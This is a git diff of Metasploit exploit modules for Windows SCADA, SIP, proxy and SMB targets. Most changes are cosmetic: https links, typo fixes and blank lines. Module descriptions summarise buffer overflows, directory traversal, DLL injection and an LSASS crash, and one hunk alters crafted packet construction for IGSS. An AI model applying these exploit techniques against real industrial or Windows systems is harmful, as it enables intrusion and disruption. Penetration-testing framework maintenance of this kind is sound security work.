diff --git a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
index 684c03fda2..56024b8e49 100644
--- a/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
+++ b/modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,5 +80,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/scada/abb_wserver_exec.rb b/modules/exploits/windows/scada/abb_wserver_exec.rb
index 722f7e38cd..c87a308cfd 100644
--- a/modules/exploits/windows/scada/abb_wserver_exec.rb
+++ b/modules/exploits/windows/scada/abb_wserver_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb
index ff2f24d640..1e2307fda3 100644
--- a/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb
+++ b/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/scada/citect_scada_odbc.rb b/modules/exploits/windows/scada/citect_scada_odbc.rb
index 4e90fbb9d0..b338f9bff0 100644
--- a/modules/exploits/windows/scada/citect_scada_odbc.rb
+++ b/modules/exploits/windows/scada/citect_scada_odbc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb
index 3399115563..60aa8b0861 100644
--- a/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb
+++ b/modules/exploits/windows/scada/codesys_gateway_server_traversal.rb
@@ -1,7 +1,7 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
-#   http://metasploit.com
+#   https://metasploit.com
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
diff --git a/modules/exploits/windows/scada/codesys_web_server.rb b/modules/exploits/windows/scada/codesys_web_server.rb
index 3f0c3631d7..a7f150a895 100644
--- a/modules/exploits/windows/scada/codesys_web_server.rb
+++ b/modules/exploits/windows/scada/codesys_web_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/scada/daq_factory_bof.rb b/modules/exploits/windows/scada/daq_factory_bof.rb
index d21db3d590..ec883aed77 100644
--- a/modules/exploits/windows/scada/daq_factory_bof.rb
+++ b/modules/exploits/windows/scada/daq_factory_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'           => 'DaqFactory HMI NETB Request Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Azeotech's DaqFactory
-        product. The specfic vulnerability is triggered when sending a specially crafted
+        product. The specific vulnerability is triggered when sending a specially crafted
         'NETB' request to port 20034. Exploitation of this vulnerability may take a few
         seconds due to the use of egghunter.  This vulnerability was one of the 14
         releases discovered by researcher Luigi Auriemma.
@@ -112,5 +112,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/scada/factorylink_csservice.rb b/modules/exploits/windows/scada/factorylink_csservice.rb
index e6f4e2b570..2e750d0769 100644
--- a/modules/exploits/windows/scada/factorylink_csservice.rb
+++ b/modules/exploits/windows/scada/factorylink_csservice.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/scada/factorylink_vrn_09.rb b/modules/exploits/windows/scada/factorylink_vrn_09.rb
index 3ebd56b202..8bf23faabb 100644
--- a/modules/exploits/windows/scada/factorylink_vrn_09.rb
+++ b/modules/exploits/windows/scada/factorylink_vrn_09.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,5 +83,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
index 36304ad77b..cfa6ca1f24 100644
--- a/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
+++ b/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'   => %q{
         This module abuses the gefebt.exe component in GE Proficy CIMPLICITY, reachable through the
         CIMPLICIY CimWebServer. The vulnerable component allows to execute remote BCL files in
-        shared resources. An attacker can abuse this behaviour to execute a malicious BCL and
+        shared resources. An attacker can abuse this behavior to execute a malicious BCL and
         drop an arbitrary EXE. The last one can be executed remotely through the WebView server.
         This module has been tested successfully in GE Proficy CIMPLICITY 7.5 with the embedded
         CimWebServer. This module starts a WebDAV server to provide the malicious BCL files. If
@@ -313,5 +313,4 @@ End Sub
     full_path = store_local(ltype, nil, data, fname)
     print_good("#{fname} stored at #{full_path}")
   end
-
 end
diff --git a/modules/exploits/windows/scada/iconics_genbroker.rb b/modules/exploits/windows/scada/iconics_genbroker.rb
index 6987e21f1b..75b69c0191 100644
--- a/modules/exploits/windows/scada/iconics_genbroker.rb
+++ b/modules/exploits/windows/scada/iconics_genbroker.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -340,5 +340,4 @@ db 0x00
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb
index 17bd88add6..6197d2ed85 100644
--- a/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb
+++ b/modules/exploits/windows/scada/iconics_webhmi_setactivexguid.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb
index 1fdc16f497..b65b916e7a 100644
--- a/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb
+++ b/modules/exploits/windows/scada/igss9_igssdataserver_listall.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -163,5 +163,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb
index dd3faac6a2..20b41a01cd 100644
--- a/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb
+++ b/modules/exploits/windows/scada/igss9_igssdataserver_rename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/scada/igss9_misc.rb b/modules/exploits/windows/scada/igss9_misc.rb
index 3c5cf7ea0a..869939379f 100644
--- a/modules/exploits/windows/scada/igss9_misc.rb
+++ b/modules/exploits/windows/scada/igss9_misc.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -117,8 +117,8 @@ class MetasploitModule < Msf::Exploit::Remote
     pkt << "\x00\x00"
     pkt << "\x0A"
     pkt << "\x00"*31
-    pkt << "#{base}Documents and Settings\\All Users\\Application Data\\7T\\#{filename}\""
-    pkt << "\x00"*143
+    pkt << "#{base}#{filename}\""
+    pkt << "\x00"*163 #only for 1 caracter + .exe (i.exe for example)
 
     return pkt
   end
diff --git a/modules/exploits/windows/scada/igss_exec_17.rb b/modules/exploits/windows/scada/igss_exec_17.rb
index 4dd17b4a7f..64b0e5ff3a 100644
--- a/modules/exploits/windows/scada/igss_exec_17.rb
+++ b/modules/exploits/windows/scada/igss_exec_17.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -72,5 +71,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb
index b06355232c..5ce73ca6c1 100644
--- a/modules/exploits/windows/scada/indusoft_webstudio_exec.rb
+++ b/modules/exploits/windows/scada/indusoft_webstudio_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
         Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
         the filesystem, by abusing the functions provided by the software.
 
-        The module uses uses the Windows Management Instrumentation service to execute an
+        The module uses the Windows Management Instrumentation service to execute an
         arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
         Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
         XP SP3 and Windows 2003 SP2.
@@ -188,5 +188,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/moxa_mdmtool.rb b/modules/exploits/windows/scada/moxa_mdmtool.rb
index ab308f2856..97af9cb084 100644
--- a/modules/exploits/windows/scada/moxa_mdmtool.rb
+++ b/modules/exploits/windows/scada/moxa_mdmtool.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = GreatRanking
 
   include Msf::Exploit::Remote::TcpServer
diff --git a/modules/exploits/windows/scada/procyon_core_server.rb b/modules/exploits/windows/scada/procyon_core_server.rb
index 38f2d2d391..6a12be9e64 100644
--- a/modules/exploits/windows/scada/procyon_core_server.rb
+++ b/modules/exploits/windows/scada/procyon_core_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/realwin.rb b/modules/exploits/windows/scada/realwin.rb
index a714d665b3..b5cd128432 100644
--- a/modules/exploits/windows/scada/realwin.rb
+++ b/modules/exploits/windows/scada/realwin.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb
index 91bbcad49f..c611b2679f 100644
--- a/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb
+++ b/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = GreatRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -18,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
         SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE
         packet via port 910, RealWin will try to create a file (which would be saved to
         C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user-
-        supplied filename with a inline memcpy routine without proper bounds checking, which
+        supplied filename with an inline memcpy routine without proper bounds checking, which
         results a stack-based buffer overflow, allowing arbitrary remote code execution.
 
         Tested version: 2.0 (Build 6.1.8.10)
@@ -80,7 +79,6 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
 
 
diff --git a/modules/exploits/windows/scada/realwin_on_fcs_login.rb b/modules/exploits/windows/scada/realwin_on_fcs_login.rb
index 23665af528..9c4feed805 100644
--- a/modules/exploits/windows/scada/realwin_on_fcs_login.rb
+++ b/modules/exploits/windows/scada/realwin_on_fcs_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,5 +80,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize.rb b/modules/exploits/windows/scada/realwin_scpc_initialize.rb
index 75e1168419..b3e20e4fcb 100644
--- a/modules/exploits/windows/scada/realwin_scpc_initialize.rb
+++ b/modules/exploits/windows/scada/realwin_scpc_initialize.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = GreatRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -68,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb
index 3883811785..aeabc602b9 100644
--- a/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb
+++ b/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = GreatRanking
 
   include Msf::Exploit::Remote::Tcp
@@ -68,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb
index 5c39562748..e9359f28f6 100644
--- a/modules/exploits/windows/scada/realwin_scpc_txtevent.rb
+++ b/modules/exploits/windows/scada/realwin_scpc_txtevent.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/scadapro_cmdexe.rb b/modules/exploits/windows/scada/scadapro_cmdexe.rb
index cd83ce778f..7af6fc5c3c 100644
--- a/modules/exploits/windows/scada/scadapro_cmdexe.rb
+++ b/modules/exploits/windows/scada/scadapro_cmdexe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Measuresoft ScadaPro Remote Command Execution',
       'Description'    => %q{
-        This module allows remote attackers to execute arbitray commands on the
+        This module allows remote attackers to execute arbitrary commands on the
         affected system by abusing via Directory Traversal attack when using the
         'xf' command (execute function). An attacker can execute system() from
         msvcrt.dll to upload a backdoor and gain remote code execution. This
@@ -123,5 +123,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     super
   end
-
 end
diff --git a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb
index 7e442a54ca..b321691582 100644
--- a/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb
+++ b/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,5 +82,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/scada/winlog_runtime.rb b/modules/exploits/windows/scada/winlog_runtime.rb
index be75c431d9..60d5afc863 100644
--- a/modules/exploits/windows/scada/winlog_runtime.rb
+++ b/modules/exploits/windows/scada/winlog_runtime.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect
 
   end
-
 end
diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb
index bac7f31448..4456295bcd 100644
--- a/modules/exploits/windows/scada/winlog_runtime_2.rb
+++ b/modules/exploits/windows/scada/winlog_runtime_2.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb
index b50418b688..f2de098bdc 100644
--- a/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb
+++ b/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -99,6 +99,5 @@ class MetasploitModule < Msf::Exploit::Remote
     return false unless data =~ /500  'yyparse error': command not understood/
     return true
   end
-
 end
 
diff --git a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb
index 64402ecde7..97b9228e15 100644
--- a/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb
+++ b/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -154,5 +154,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     valid
   end
-
 end
diff --git a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb
index 1c66b02398..355b633083 100644
--- a/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb
+++ b/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,9 +12,9 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
       'Description'    => %q{
-        This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
+        This module exploits a stack based buffer overflow on Yokogawa CS3000. The vulnerability
         exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
-        logs using functions like vsprintf and memcpy in a insecure way. This module has been
+        logs using functions like vsprintf and memcpy in an insecure way. This module has been
         tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
       },
       'Author'         =>
@@ -68,6 +68,5 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect_udp
   end
-
 end
 
diff --git a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb
index e3c4804bc7..58a40d085d 100644
--- a/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb
+++ b/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -165,5 +165,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     rop_gadgets
   end
-
 end
diff --git a/modules/exploits/windows/sip/aim_triton_cseq.rb b/modules/exploits/windows/sip/aim_triton_cseq.rb
index a195490f98..63f75694bf 100644
--- a/modules/exploits/windows/sip/aim_triton_cseq.rb
+++ b/modules/exploits/windows/sip/aim_triton_cseq.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect_udp
 
   end
-
 end
diff --git a/modules/exploits/windows/sip/sipxezphone_cseq.rb b/modules/exploits/windows/sip/sipxezphone_cseq.rb
index 2b66660583..81cfed51c0 100644
--- a/modules/exploits/windows/sip/sipxezphone_cseq.rb
+++ b/modules/exploits/windows/sip/sipxezphone_cseq.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,5 +80,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/sip/sipxphone_cseq.rb b/modules/exploits/windows/sip/sipxphone_cseq.rb
index dc775f68c6..57d0c7a5a1 100644
--- a/modules/exploits/windows/sip/sipxphone_cseq.rb
+++ b/modules/exploits/windows/sip/sipxphone_cseq.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -77,5 +77,4 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect_udp
 
   end
-
 end
diff --git a/modules/exploits/windows/smb/generic_smb_dll_injection.rb b/modules/exploits/windows/smb/generic_smb_dll_injection.rb
index 883a3ae4dc..6a03a0623f 100644
--- a/modules/exploits/windows/smb/generic_smb_dll_injection.rb
+++ b/modules/exploits/windows/smb/generic_smb_dll_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Name'          => 'Generic DLL Injection From Shared Resource',
       'Description'   => %q{
         This is a general-purpose module for exploiting conditions where a DLL can be loaded
-        from an specified SMB share. This module serves payloads as DLLs over an SMB service.
+        from a specified SMB share. This module serves payloads as DLLs over an SMB service.
       },
       'Author'      =>
         [
@@ -60,5 +60,4 @@ class MetasploitModule < Msf::Exploit::Remote
     self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
     print_status("File available on #{unc}...")
   end
-
 end
diff --git a/modules/exploits/windows/smb/group_policy_startup.rb b/modules/exploits/windows/smb/group_policy_startup.rb
index a024edf55c..96724398e4 100644
--- a/modules/exploits/windows/smb/group_policy_startup.rb
+++ b/modules/exploits/windows/smb/group_policy_startup.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/smb/ipass_pipe_exec.rb b/modules/exploits/windows/smb/ipass_pipe_exec.rb
index 16d036e27c..ede236a583 100644
--- a/modules/exploits/windows/smb/ipass_pipe_exec.rb
+++ b/modules/exploits/windows/smb/ipass_pipe_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
       # do nothing... just finish exploit and stop smb server...
     end
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms03_049_netapi.rb b/modules/exploits/windows/smb/ms03_049_netapi.rb
index 5ccf0f69e8..f01c173ce7 100644
--- a/modules/exploits/windows/smb/ms03_049_netapi.rb
+++ b/modules/exploits/windows/smb/ms03_049_netapi.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -102,5 +102,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb
index 48ce075612..df5a44880f 100644
--- a/modules/exploits/windows/smb/ms04_007_killbill.rb
+++ b/modules/exploits/windows/smb/ms04_007_killbill.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -22,14 +22,14 @@ class MetasploitModule < Msf::Exploit::Remote
         You are only allowed one attempt with this vulnerability. If
         the payload fails to execute, the LSASS system service will
         crash and the target system will automatically reboot itself
-        in 60 seconds. If the payload succeeeds, the system will no
+        in 60 seconds. If the payload succeeds, the system will no
         longer be able to process authentication requests, denying
         all attempts to login through SMB or at the console. A
         reboot is required to restore proper functioning of an
         exploited system.
 
         This exploit has been successfully tested with the win32/*/reverse_tcp
-        payloads, however a few problems were encounted when using the
+        payloads, however a few problems were encountered when using the
         equivalent bind payloads. Your mileage may vary.
 
       },
@@ -246,5 +246,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return token
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb
index 1d55a77a25..6fee90d732 100644
--- a/modules/exploits/windows/smb/ms04_011_lsass.rb
+++ b/modules/exploits/windows/smb/ms04_011_lsass.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/smb/ms04_031_netdde.rb b/modules/exploits/windows/smb/ms04_031_netdde.rb
index fb92a06700..0f9c2764e0 100644
--- a/modules/exploits/windows/smb/ms04_031_netdde.rb
+++ b/modules/exploits/windows/smb/ms04_031_netdde.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb
index 5a7b4b90da..868304e246 100644
--- a/modules/exploits/windows/smb/ms05_039_pnp.rb
+++ b/modules/exploits/windows/smb/ms05_039_pnp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
